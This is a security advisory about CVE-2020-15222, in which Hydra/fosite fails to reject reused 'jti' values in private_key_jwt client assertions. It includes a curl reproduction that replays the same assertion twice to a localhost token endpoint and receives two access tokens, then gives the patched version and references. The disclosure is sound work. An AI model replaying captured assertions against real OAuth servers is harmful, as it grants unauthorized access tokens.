When using client authentication method “private_key_jwt” [1], OpenId specification says the following about assertion jti
:
> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties
Hydra does not seem to check the uniqueness of this jti
value. Here is me sending the same token request twice, hence with the same jti
assertion, and getting two access tokens:
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}
This issue is patched in 0.31.0.
Do not allow clients to use private_key_jwt
.
https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication
github.com/ory/fosite
github.com/ory/fosite/commit/0c9e0f6d654913ad57c507dd9a36631e1858a3e9
github.com/ory/fosite/releases/tag/v0.31.0
github.com/ory/fosite/security/advisories/GHSA-v3q9-2p3m-7g43
nvd.nist.gov/vuln/detail/CVE-2020-15222
openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication
pkg.go.dev/vuln/GO-2021-0110